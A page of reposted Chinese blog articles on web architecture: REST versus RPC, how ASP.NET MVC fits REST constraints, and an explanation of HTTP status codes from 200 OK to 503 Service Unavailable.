HTTP是WWW的最核心的协议, 它将简单的分布于世界各个角落的资源都统一起来, 统一的地址, 简单的方法, 和一定数量的表达方式.(你可能对这三点描述很模糊,请go ahead).

REST 的三个要素是 唯一的资源标识简单的方法 (此处的方法是个抽象的概念), 一定的表达方式.

看下图:

http://farm3.static.flickr.com/2707/4109518844_c77091c2c7.jpg图一. REST的三角架构(摘自 Restful User Experience )

REST 是以 资源 为中心, 名词即资源的地址, 动词即施加于名词上的一些有限操作, 表达是对各种资源形态的抽象.

以HTTP为例, 名词即为URI(统一资源标识), 动词包括POST, GET, PUT, DELETE等(还有其它不常用的2个,所以 整个动词集合是有限的), 资源的形态(如text, html, image, pdf等)

RPC与REST的区别

如果你想只记住一点,那么就请记住 RPC是以动词为中心的, REST是以名词为中心的, 此处的 动词指的是一些方法, 名词是指资源.

你会发现,以动词为中心,意味着,当你要需要加入新功能时,你必须要添加更多的动词, 这时候服务器端需要实现 相应的动词(方法), 客户端需要知道这个新的动词并进行调用.

而以名词为中心, 假使我请求的是 hostname/friends/, 无论这个URI对应的服务怎么变化,客户端是无需 关注和更新的,而这种变化对客户端也是透明的.

至于其它的区别,如对实现语言的依赖, 耦合性等,这些都是上面提到的这个根本区别所衍生的.

让我们回到引入部分的2个问题. 当你每天使用HTTP冲浪时,你都在使用 REST 与远程的服务器进行亲密接触. 当你使用Gtalk和同事朋友沟通时,你则是在享受着 RPC 的便利.

推荐阅读 Restful User Experience (这个slide是个人认为解释的最好的) 还有 ReST vs SOA(P).

如何选择?

通常如果我们是客户端,我们基本上是没有选择的权利的, 服务提供商通常只有一种架构的服务.例如facebook, 人人 网开放的API(使用的是 REST ).

但是倘若我们有幸设计和实现自己的 Web Service 我们该如何选择呢?

根据笔者自己的经验和心得, 建议 能够使用REST就尽量使用REST, 主要基于下面几个考虑:

  1. 扩展性
  2. 松耦合(意味着,不用强制要求客户端去更新相应的代码)
  3. 客户端实现语言无关
  4. 性能
  5. 安全性(例如HTTPS)

当然上述的几点也并非 RPC 都不满足,不过相对而言, REST 更加清晰和简洁, 再辅以 JSON 相应的服务会在性能和稳定性(简单通常意味着robust)方面有很大的提高.

一个自己的项目例子

我们公司正在做一个social game的项目, 我负责整个系统的后端架构和通信等, 所以仔细地学习和研究了 facebook/人人网开放的API, 由于facebook(人人网完全拷贝facebook)使用的是REST 的架构, 所以即使facebook本身是PHP开发的,这也不妨碍我们使用python来开发, 还有更多的PHP, Java, .net, Perl等客户端API封装. (当然人人网是使用Java开发的,我们也使用python).

于是在想,倘若facebook的架构使用的不是 REST ,会有这样的灵活性吗? 如果使用的是 RPC 可能 目前我们的日子不会好过, 甚至我们的项目都不可能立项!

另外,因为我们的前端使用的是flash, 与后端的python通信采用的是 djangoamf , 有意思的是, 如果你了解 flash,你会知道AMF是一种二进制的flash数据交互协议, 而 它是基于RPC ! 当然这正如我上面说的, 某些架构不是我们能够选择的, 所以使用 RPC 的结果是如果我们想开放我们游戏的API(假如我们的游戏足够火, 有朋友想基于我们的游戏开发周边应用),这就变得很艰难了.但是目前来看,我们开放API的可能性不大.

结论

无论是基于 动词名词 或者 消息, 这些都是为我们提供一个稳定,可靠,安全,易扩展的服务为目的的, 所以,如果你有机会为别的客户端提供开放API(如果你们公司是另一个facebook, twitter),你不妨多考虑下基于 你的平台的开发者们, 别让他们的日子不好过啊(同是程序员,相煎何太急?呵呵).

欢迎交流.

本文的rst源码

本文的源码链接在 这里 .

点击 下载pdf阅读.

[转载]REST on ASP.Net MVC (and Future) - chelsea - 博客园

mikel阅读(1094)

[转载]REST on ASP.Net MVC (and Future) – chelsea – 博客园.

 

See also: <<Enterprise REST = Customize, Invent and Standardize Media Types>>

 

MVC和REST是两种不同的世界观. 前者更多的是对行为的建模,后者则更强调数据(状态及状态的变迁). 前者给出的是内部实现方面的指导, 把程序结构分离为Model, View及Controller. 后者提供的则是从外部观察系统的视角: 一组被超媒体诱导的系统变迁.

 

MVC和REST从两种不同的维度来描述世界, 而不是同一纬度上两种相反的观点, 因此基于现存的大量MVC框架来开发符合REST要求的应用是可能的. 但工具是世界观的反映, MVC框架对REST的支持总不是那么直接. 我们在使用MVC框架来开发REST应用时,要注意避开可能的冲突, 而专注于那些符合REST要求的特性. 下面我们来看看ASP.NET MVC对REST的支持

 

Client–server

 

客户-服务器约束背后的原则是分离关注点, 比如用户接口和数据存储. 对于Web来说, 最重要的是这种关注点的分离允许组件独立地进化.

 

ASP.NET MVC 是server端开发框架, 在这个约束上它没有贡献也没什么过失. 它产生符合标准的HTML代码, 对客户端的能力没什么特别的要求.

 

Stateless

 

ASP.NET MVC提供了Session的概念. 可以把它理解成server端保存的针对某个特定客户端的状态. 使用这个特性将会违反Stateless的约束, 造成可伸缩性的下降. 开发者若要确保不会无意中破坏这个约束, 可以通过一系列配置来禁用session, 比如在Web.config加上<sessionState mode=”Off” />, 或者通过代码来对单个Controller进行配置:

 

 

ASP.NET MVC也提供了对Cookie的支持, 而Cookie是违反REST约束的一种特性. “Cookie被定义为被附加在任何将来的请求上, 对于特定的一组资源标识符, Cookie通常是与一个完整的站点相关联, 而不是与浏览器中特定的应用状态(当前呈现的表述的那一组状态)相关联. 并且它允许数据在没有充分表明其语义的情况下进行传递”. ASP.Net提供了cookieless的选项, 使我们可以关闭对cookie的支持.

 

Cacheable

 

ASP.NET MVC提供了一个叫做 OutputCache 的ActionFilter来支持缓存. OutputCache 有点过于强大, 它不仅支持客户端与服务器之间的缓存, 还支持服务端应用代码与数据库之间的缓存. 还可以设定缓存的位置, 比如是放在客户端浏览器(即在Response中加上标准的Http Cache Control Headers)还是放在服务端. 除了支持整页缓存, 它还支持部分页面缓存(我理解这时它就只能缓存在服务端了)

 

 

当大量独立的客户端请求同样的内容时, 比如同一幅图片或视频, 服务端缓存要比客户端缓存更有效. 然而针对这个问题, 有一种叫做反向代理的组件, 可以将这部分职责从服务端应用代码中剥离出来, 把它变成Web基础设施的一部分, 前提是服务端要设置标准的那些Http Cache Control Headers. 在此情况下, 这类缓存通常被称为共享缓存. 后面谈到分层的时候我们会再提一下这个问题.

 

所以对REST应用来讲, 个人感觉还是优先应用客户端缓存, 这样可以最大程度的利用现有的各种Web基础设施.

 

Layered system

 

跟Client-server约束类似, ASP.Net MVC在此无功无过. 但是一些特性会导致不能完全发挥那些中间层的作用.

 

比如说Session对Load Balancer的影响. 如果服务端将session存在同一应用进程如w3wp.exe的内存中, 则Load balancer将不得配置 Session Sticky 的策略, 从而不能做到真正的load balancing

 

再比如服务端缓存将使反向代理发挥不出应有的作用.

 

Code on demand (optional)

 

.Net 平台上native的Mobile Code Style的支持, 就是Silverlight, 但ASP.Net MVC对此并没有提供任何支持, 比如并没有一种基于Silverlight的View Engine.

 

对于JavaScript, ASP.Net MVC提供的支持也有限, 只是提供了一些辅助性的代码, 可以在View中产生一些AJAX Call的代码, 比如AjaxHelper.ActionLink, AjaxHelper.BeginForm等

 

Server端也提供了一种叫 JsonResult 的Representation, 可供客户端JavaScript方便的操纵. 但这更多的是对多种Representation的支持, 后面会提到.

 

Uniform interface

 

“使REST架构风格区别于其他基于网络的架构风格的核心特征是,它强调组件之间要有一个统一的接口. 通过在组件接口上应用通用性的软件工程原则, 整体的系统架构得到了简化, 交互的可见性也得到了改善. 实现与它们所提供的服务是解耦的, 这促进了独立的可进化性. 然而, 付出的代价是, 统一接口降低了效率, 因为信息都使用标准化的形式来转移, 而不能使用特定于应用的需求的形式. REST接口被设计为可以高效地转移大粒 度的超媒体数据, 并针对Web的常见情况做了优化, 但是这也导致了该接口对于其他形式的架构交互并不是最优的

 

为了获得统一的接口, 需要有多个架构约束来指导组件的行为. REST由四个接口约束来定义: 资源的识别(identification of resources), 通过表述对资源执行的操作(Manipulation of resources through these representations), 自描述的消息(self-descriptive messages), 以及作为应用状态引擎的超媒体(Hypermedia as the engine of application state)” — from <<REST_cn >>

 

Identification of resources

 

资源的识别或标识是一种概念或语义上的抽象, 它明确的区分了资源本身的物理实现和返回给客户端的资源的表述. 如何从概念上为一个资源定义一个标识是开发者的责任, ASP.Net MVC帮不上任何忙. ASP.NET MVC能做的, 只是帮忙将资源的标识映射到资源的实现(这是通过UrlRoutingModule来实现的). 换句话说, 一个URL是否是 RESTful的, 不在于你是否通过高超的路由技术让它看起来很干净没参数, 而在于它本身是否是一个永久性的概念, 是否可以更改底层实现而无需调整.

 

由于同一个URL上可以进行多种标准的HTTP操作, 比如POST, PUT, GET, DELETE等, 一个好的路由映射应该能够将不同的HTTP操作映射到不同的对象或方法上. ASP.NET MVC提供了这种支持:

 

 

 

Manipulation of resources through these representations

 

在ASP.Net MVC中, 资源的Representation是通过一个叫做ActionResult的概念来表达的. 比如产生HTML的 ViewResult, 产生Json的 JsonResult, 产生Javascript的JavaScriptResult等. 当我们需要定义自己的媒体类型的时候, 扩展ActionResult就可以了.

 

Self-descriptive messages

 

通常来讲, 这里指的是Http Header中的各种信息的存取. ASP.Net MVC通过HttpRequest和HttpResponse两个class提供了对元数据的支持. 当然, 解析这些数据, 理解其含义, 遵循其指示, 并设置合适的响应, 还是开发者的责任.

 

Hypermedia as the engine of application state

 

终于到了REST最核心的特性, ASP.Net MVC并没有有意识的提供支持. 不奇怪, 首先MVC更倾向于一种RPC的设计思路而不是REST, 其次这个约束还是更多的靠开发者来实现而不是什么神奇的框架.

 

HTML是ASP.Net MVC支持的唯一一种Hypermedia. 在一个叫做HtmlHelper的类中, 提供了大量方法来方便的产生合法的HTML, 以及最重要的, 到其它资源的link, 比如HtmlHelper.ActionLink(…)

 

到其它资源的Link是Hypermedia的核心. 它可以被用在非HTML媒体类型中, 比如ATOM Feed. ASP.Net MVC提供了UrlHelper来产生各种link.

 

 

ASP.Net MVC Future

 

ASP.Net MVC Future 包含了一组ASP.NET MVC team认为将来可能会加到ASP.Net MVC正式Release中的特性. 在目前的版本中(ASP.Net MVC 3 RTM), ASP.Net MVC Future加入了更多对REST的支持.

 

更多的超媒体类型比如Atom Feed : AtomEntryActionResult和AtomFeedActionResult两个类为Atom提供了支持. 这两个类其实很简单就是设置了一下Content-type, 真正核心的功能都委托给了SyndicationFeed和SyndicationItem. 后者是.Net Framework提供的.

 

JSON和Xml的Model Binder : 可以支持将请求中Json和Xml类型的负载直接绑定为Action以对象形式定义的参数.

 

流行的”RESTful”的路由 : 这是通过RouteCollectionExtensions和ResourceControllerFactory实现的. 比如前者可以帮你建立如下的路由:

 

 

然而对于一个很多开发者期待的特性, 就是根据HttpRequest Header中Accept的值进行路由, 无论是ASP.Net MVC还是Future, 都没有提供. 比如目前并不支持如下的写法:

 

 

See also: <<Enterprise REST = Customize, Invent and Standardize Media Types>>

[转载]HTTP 状态码详解 - Cat Chen - 博客园

mikel阅读(970)

[转载]HTTP 状态码详解 – Cat Chen – 博客园.

最近看《REST in Practice》, 发现 HTTP 如此之多的状态码都有各自的含义,要准确使用并不难,但现实当中很少人能够做得到。大多数人熟悉的状态码就那几个,平时也不会去阅读 RFC 2616,结果反复使用的也就是那几个状态码。其实很多 REST 中可能遇到的情况,在 HTTP 状态码中都已经有考虑到,不需要自己去发明新的状态码,也不需要在 header 或者 body 自定义错误信息。

在说状态码之前,首先建议大家还是先阅读一下 RFC 2616 中的相关章节,看看已有的状态码描述都是什么。我相信有部分状态码是你看了描述也不知道用来干什么的,这时候就需要有更具体的例子来告诉你怎么用了。(我准备详细说的是那些比较少人知道但又实际上应该被更广泛使用的状态码。)

2xx

200 OK

所有人都知道 200 OK 是什么。这估计是最经常被滥用的状态码。很多人在应该使用其它 2xx 状态码时都选用了 200 OK 来表示。

201 Created

如果你在设计一个 REST API,或者一个 CRUD API,当你使用 POST(或者 PUT)成功创建一个新的资源后,服务器应该返回 201 Created 同时在 header 的 Location 字段给出刚刚创建好的这个资源的 URI。

例如说,如果你使用 POST 请求通过 \comments URI 创建了一个新的评论,那么服务器应该返回 201 Created,同时带上形如 Location: \comments\1234 的字段表明新创建的评论的 URI。

202 Accepted

如果服务器在接受请求后,需要进行一个异步处理才能有结果,并且觉得不需要让 TCP 连接保持到结果出来再返回,它可以返回 202 Accepted,意思是请求已接受,但没有立即可返回的结果。

204 No Content

在一个 REST API 或者 CRUD API 里面,当你使用 PUT 成功更新一个资源后,如果服务器完整接受了客户端的更新,没有拒绝也没有额外更新,那实际上是不需要返回任何东西的,因为现在客户端和服务器端已经拥有完全一致的状态。在这种情况下,服务器可以返回 204 No Content,同时 body 为空,客户端就知道它的状态已经跟服务器端同步了。

206 Partial Content

断点续传和多线程下载都是通过 206 Partial Content 实现的。

请求的 header 必须包含一个 Range 字段,表明自己请求第几个字节到第几个字节的内容。如果服务器支持的话,就返回 206 Partial Content,然后使用 header 的 Content-Range 指明范围,并在 body 内提供这个范围内的数据。

3xx

301 Moved Permanently

永久性重定向。目标由 header 的 Location 字段给出,同时 body 中也应该有指向目标的链接。新请求使用的方法应该和原请求的一致。如果用户使用 HEADGET 以外的方式发起原请求,客户端在遇到 301 Moved Permanently 后应当询问用户是否对新的 URI 发起新请求。

302 Found

临时性重定向。

这应该是浏览器实现最不符合标准的一个状态码了。理论上,除了临时性这一点,302 Found301 Moved Permanently 应该是完全一样的。然而实质上,很多浏览器在遇到 302 Found 后就会使用 GET 去请求新的 URI,而无论原请求使用的是何种方法。由于这种现象的普遍存在,使得这成为了一个与书面标准相违背的事实标准,新的客户端在实现时很难选择应该遵守哪一个标准,所以 RFC 2616 专门新增了 303 See Other307 Temporary Redirect 两个状态码来消除二义性。

303 See Other

临时性重定向,且总是使用 GET 请求新的 URI。

304 Not Modified

如果客户端发起了一个「条件 GET」,同时资源确实没被修改过,那么服务器端就应该返回 304 Not Modified,同时 body 不包含任何内容。

所谓的「条件 GET」,是指 GET 的 header 带上了 If-Modified-SinceIf-None-Match 字段。这两个 header 就是「条件」,如果条件符合了 GET 就应该正常执行,否则就应该返回 304 Not Modified,以便告诉客户端它想要请求的资源在上一次请求之后没有被更新过,客户端可以继续使用之前的版本。

307 Temporary Redirect

临时性重定向,且总是使用原请求的方法来进行新请求。

4xx

400 Bad Request

服务器无法理解请求的格式,客户端不应当尝试再次使用相同的内容发起请求。

401 Unauthorized

请求未授权。如果请求 header 没有 Authorization 字段,服务器端应该在返回 401 Unauthorized 的同时在 header 中用 WWW-Authorization 字段指出授权方式,以便客户端带上登录信息重新发起请求。如果 Authorization 字段已经存在,则表明登录信息不正确。

402 Payment Required

需要支付。这是一个在任何浏览器中都没有被实现的状态码,仅预留将来使用。

百度曾经有一个部门印过一批背上写着 402 Payment Require 的衣服,并且开玩笑说这批衣服最适合在互联网企业员工讨薪时穿。

403 Forbidden

禁止访问。即使使用 Authorization 字段提供登录信息也会得到相同的结果。

如果客户端使用 HEAD 以外的方法请求,403 Forbidden 必须同时在 body 中返回禁止访问的原因。如果原因不能够公开,则应该使用 404 Not Found

404 Not Found

找不到如何与 URI 相匹配的资源。服务器无需指出资源是临时性不存在还是永久性不存在,但如果服务器端知道该资源已经被永久性删除则应该返回 410 Gone

404 Not Found 是服务器端在不愿意提供理由的情况下拒绝提供资源的最佳借口。

405 Method Not Allowed

请求的方法被拒绝。

如果你有一个 REST API 或 CRUD API 被设计为只读,那么在遇到 PUTPOST 或者 DELETE 方法时服务器端都应该返回 405 Method Not Allowed,同时在 header 的 Allow 字段说明允许的方法(如 GETHEAD)。

409 Conflict

冲突,且需要用户手工解决。

如果你使用 git(或者其他源代码管理软件),你已经知道「冲突」是什么了。409 Conflict 通常发生在 PUT 请求时,如果要更新的资源已经被其他人更新过了,你再更新就可能产生冲突。

410 Gone

如果服务器端将此资源标记为已被永久性删除,则应该使用 410 Gone 而非 404 Not Found,其用意在于告诉客户端资源是被有意删除的,而且删除是永久性的,客户端不应该再保留这个 URI 的链接。

举例来说,你有一个 REST API 或 CRUD API 用于向用户提供优惠信息。有一则优惠的 URI 是 /promotions/1234,但由于优惠活动已经结束了,所以这一则优惠信息不再有效且应当被永久性删除,那么这时候服务器端就应该让该 URI 永远返回 410 Gone 了。

412 Precondition Failed

条件判断失败,操作不会被执行。

在解释 304 Not Modified 时提到了「条件 GET」的概念,但「条件」本身也可以应用于非 GET 请求,这时候如果条件判断失败服务器端就应该返回 412 Precondition Failed,同时拒绝执行客户端请求的方法。

条件请求可以被看作是一种乐观锁。它不需要服务器端有任何逻辑判断操作是否存在冲突,服务器端只要记录资源的时间戳(或其它版本信息)即可。

5xx

500 Internal Server Error

最常见的服务器端错误。

503 Service Unavailable

服务器端暂时无法处理请求(可能是过载或维护)。

返回 503 Service Unavailable 的意思是当前的状况是临时性的,客户端可以稍后重试。服务器端可以在返回时通过 header 的 Retry-After 字段告诉客户端多久后可以重试。如果不提供这个字段的话,客户端应当把 503 Service Unavailable 等同于 500 Internal Server Error 处理。

总结

在看完这篇文章后,你有发现经常用错的状态码吗?如果有的话,将来在设计 REST API 或 CRUD API 时就应该改过来。由于状态码和 header 字段数目众多,所以我建议一般用户尽可能复用主流的 REST 框架或 CRUD 框架,而不要自己重新实现一遍。